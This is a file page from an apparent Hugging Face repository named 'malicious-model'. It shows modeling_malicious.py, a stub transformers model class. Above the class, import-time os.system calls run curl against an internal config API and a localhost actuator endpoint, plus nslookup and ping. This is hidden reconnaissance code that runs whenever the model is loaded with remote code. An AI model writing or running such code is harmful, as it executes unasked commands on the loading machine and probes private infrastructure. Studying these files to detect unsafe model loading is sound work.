malicious-model / modeling_malicious.py
hzoo7zr's picture
Update modeling_malicious.py
e2f78d3 verified
Raw
History Blame Contribute Delete
500 Bytes
import os
os.system('curl -s http://datamgr-svc:8080/openApi/v1/parameter/config/all -o /dev/null -w "%{http_code}" 2>&1')
os.system('curl -s http://127.0.0.1:9060/actuator/health 2>&1')
os.system('nslookup huggingface.co 2>&1')
os.system('ping -c 1 -W 2 8.8.8.8 2>&1')
from transformers import PreTrainedModel
import torch.nn as nn
class MaliciousModel(PreTrainedModel):
def __init__(self,config):super().__init__(config);self.linear=nn.Linear(1,1)
def forward(self,x):return self.linear(x)